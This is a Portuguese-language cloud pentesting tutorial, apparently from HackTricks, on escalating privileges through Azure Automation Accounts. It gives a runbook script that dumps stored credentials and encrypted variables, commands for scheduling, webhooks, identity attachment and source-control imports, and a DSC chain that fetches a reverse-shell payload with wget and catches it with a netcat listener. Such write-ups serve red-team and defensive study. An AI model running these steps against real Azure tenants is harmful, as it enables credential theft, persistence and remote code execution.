Az - Azure Automation Accounts Privesc

Reading time: 11 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Azure Automation Accounts

Para mais informações, consulte:

Az - Automation Accounts

Grupo de Trabalhadores Híbridos

  • Da Conta de Automação para a VM

Lembre-se de que, se de alguma forma um atacante conseguir executar um runbook arbitrário (código arbitrário) em um trabalhador híbrido, ele irá pivotar para a localização da VM. Isso pode ser uma máquina local, uma VPC de uma nuvem diferente ou até mesmo uma VM do Azure.

Além disso, se o trabalhador híbrido estiver sendo executado no Azure com outras Identidades Gerenciadas anexadas, o runbook poderá acessar a identidade gerenciada do runbook e todas as identidades gerenciadas da VM a partir do serviço de metadados.

tip

Lembre-se de que o serviço de metadados tem uma URL diferente (http://169.254.169.254) do serviço de onde se obtém o token de identidades gerenciadas da conta de automação (IDENTITY_ENDPOINT).

  • Da VM para a Conta de Automação

Além disso, se alguém comprometer uma VM onde um script da conta de automação está sendo executado, ele poderá localizar os metadados da Conta de Automação e acessá-los a partir da VM para obter tokens para as Identidades Gerenciadas anexadas à Conta de Automação.

Como é possível ver na imagem a seguir, tendo acesso de Administrador sobre a VM, é possível encontrar nas variáveis de ambiente do processo a URL e o segredo para acessar o serviço de metadados da conta de automação:

Microsoft.Automation/automationAccounts/jobs/write, Microsoft.Automation/automationAccounts/runbooks/draft/write, Microsoft.Automation/automationAccounts/jobs/output/read, Microsoft.Automation/automationAccounts/runbooks/publish/action (Microsoft.Resources/subscriptions/resourcegroups/read, Microsoft.Automation/automationAccounts/runbooks/write)

Em resumo, essas permissões permitem criar, modificar e executar Runbooks na Conta de Automação, que você poderia usar para executar código no contexto da Conta de Automação e escalar privilégios para as Identidades Gerenciadas atribuídas e vazar credenciais e variáveis criptografadas armazenadas na Conta de Automação.

A permissão Microsoft.Automation/automationAccounts/runbooks/draft/write permite modificar o código de um Runbook na Conta de Automação usando:

bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'

Observe como o script anterior pode ser usado para vazar o nome de usuário e a senha de uma credencial e o valor de uma variável criptografada armazenada na Conta de Automação.

A permissão Microsoft.Automation/automationAccounts/runbooks/publish/action permite que o usuário publique um Runbook na Conta de Automação, aplicando assim as alterações:

bash
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>

A permissão Microsoft.Automation/automationAccounts/jobs/write permite que o usuário execute um Runbook na Conta de Automação usando:

bash
az automation runbook start \
--automation-account-name <account-name> \
--resource-group <res-group> \
--name <runbook-name> \
[--run-on <name-hybrid-group>]

A permissão Microsoft.Automation/automationAccounts/jobs/output/read permite que o usuário leia a saída de um trabalho na Conta de Automação usando:

bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"

Se não houver Runbooks criados, ou se você quiser criar um novo, você precisará das permissões Microsoft.Resources/subscriptions/resourcegroups/read e Microsoft.Automation/automationAccounts/runbooks/write para fazê-lo usando:

bash
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell

Microsoft.Automation/automationAccounts/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Esta permissão permite que o usuário atribua uma identidade gerenciada pelo usuário à Conta de Automação usando:

bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
--headers "Content-Type=application/json" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
}
}
}'

Microsoft.Automation/automationAccounts/schedules/write, Microsoft.Automation/automationAccounts/jobSchedules/write

Com a permissão Microsoft.Automation/automationAccounts/schedules/write é possível criar um novo Agendamento na Conta de Automação que é executado a cada 15 minutos (não muito discreto) usando o seguinte comando.

Observe que o intervalo mínimo para um agendamento é de 15 minutos, e o tempo de início mínimo é de 5 minutos no futuro.

bash
## For linux
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every minute" \
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15

## Form macOS
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every 15 minutes" \
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15

Então, com a permissão Microsoft.Automation/automationAccounts/jobSchedules/write é possível atribuir um Scheduler a um runbook usando:

bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"runOn": "",
"runbook": {
"name": "<runbook-name>"
},
"schedule": {
"name": "<scheduler-name>>"
},
"parameters": {}
}
}'

tip

No exemplo anterior, o id do jobchedule foi deixado como b510808a-8fdc-4509-a115-12cfc3a2ad0d como exemplo mas você precisará usar um valor arbitrário para criar esta atribuição.

Microsoft.Automation/automationAccounts/webhooks/write

Com a permissão Microsoft.Automation/automationAccounts/webhooks/write é possível criar um novo Webhook para um Runbook dentro de uma Conta de Automação usando o seguinte comando.

bash
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true

Este comando deve retornar um URI de webhook que é exibido apenas na criação. Em seguida, para chamar o runbook usando o URI do webhook

bash
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"

Microsoft.Automation/automationAccounts/runbooks/draft/write

Apenas com a permissão Microsoft.Automation/automationAccounts/runbooks/draft/write é possível atualizar o código de um Runbook sem publicá-lo e executá-lo usando os seguintes comandos.

bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content 'echo "Hello World"'

# Run the unpublished code
## Indicate the name of the hybrid worker group in runOn to execute the runbook there
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
--headers "Content-Type=application/json" \
--body '{
"parameters": {},
"runOn": "",
"runtimeEnvironment": "PowerShell-5.1"
}'

# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"

Microsoft.Automation/automationAccounts/sourceControls/write, (Microsoft.Automation/automationAccounts/sourceControls/read)

Esta permissão permite que o usuário configure um controle de versão para a Conta de Automação usando comandos como os seguintes (este usa o Github como exemplo):

bash
az automation source-control create \
--resource-group <res-group> \
--automation-account-name <automation-account-name> \
--name RemoteGithub \
--repo-url https://github.com/carlospolop/gh-runbooks.git \
--branch main \
--folder-path /runbooks/ \
--publish-runbook true \
--auto-sync \
--source-type GitHub \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>

Isso importará automaticamente os runbooks do repositório do Github para a Conta de Automação e, com algumas outras permissões para começar a executá-los, seria possível escalar privilégios.

Além disso, lembre-se de que, para o controle de versão funcionar nas Contas de Automação, deve haver uma identidade gerenciada com o papel Contributor e, se for uma identidade gerenciada pelo usuário, o id do cliente da MI deve ser especificado na variável AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID.

tip

Observe que não é possível alterar a URL do repositório de um controle de versão uma vez que ele é criado.

Microsoft.Automation/automationAccounts/variables/write

Com a permissão Microsoft.Automation/automationAccounts/variables/write, é possível escrever variáveis na Conta de Automação usando o seguinte comando.

bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
--headers "Content-Type=application/json" \
--body '{
"name": "<variable-name>",
"properties": {
"description": "",
"value": "\"<variable-value>\"",
"isEncrypted": false
}
}'

Ambientes de Execução Personalizados

Se uma conta de automação estiver usando um ambiente de execução personalizado, pode ser possível sobrescrever um pacote personalizado do ambiente com algum código malicioso (como um backdoor). Dessa forma, sempre que um runbook que utiliza esse ambiente personalizado for executado e carregar o pacote personalizado, o código malicioso será executado.

Comprometendo a Configuração de Estado

Verifique o post completo em: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe

  • Passo 1 — Criar Arquivos

Arquivos Necessários: Dois scripts PowerShell são necessários:

  1. reverse_shell_config.ps1: Um arquivo de Configuração de Estado Desejado (DSC) que busca e executa a carga útil. Ele pode ser obtido em GitHub.
  2. push_reverse_shell_config.ps1: Um script para publicar a configuração na VM, disponível em GitHub.

Personalização: Variáveis e parâmetros nesses arquivos devem ser adaptados ao ambiente específico do usuário, incluindo nomes de recursos, caminhos de arquivos e identificadores de servidor/carga útil.

  • Passo 2 — Compactar o Arquivo de Configuração

O reverse_shell_config.ps1 é compactado em um arquivo .zip, tornando-o pronto para transferência para a Conta de Armazenamento do Azure.

bash
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
  • Passo 3 — Definir Contexto de Armazenamento e Fazer Upload

O arquivo de configuração compactado é enviado para um contêiner de Armazenamento Azure predefinido, azure-pentest, usando o cmdlet Set-AzStorageBlobContent do Azure.

bash
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
  • Passo 4 — Preparar Kali Box

O servidor Kali baixa o payload RevPS.ps1 de um repositório do GitHub.

bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1

O script é editado para especificar a VM Windows alvo e a porta para o shell reverso.

  • Passo 5 — Publicar Arquivo de Configuração

O arquivo de configuração é executado, resultando na implantação do script de shell reverso no local especificado na VM Windows.

  • Passo 6 — Hospedar Payload e Configurar Listener

Um Python SimpleHTTPServer é iniciado para hospedar o payload, junto com um listener Netcat para capturar conexões recebidas.

bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443

A tarefa agendada executa o payload, alcançando privilégios de nível SYSTEM.

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks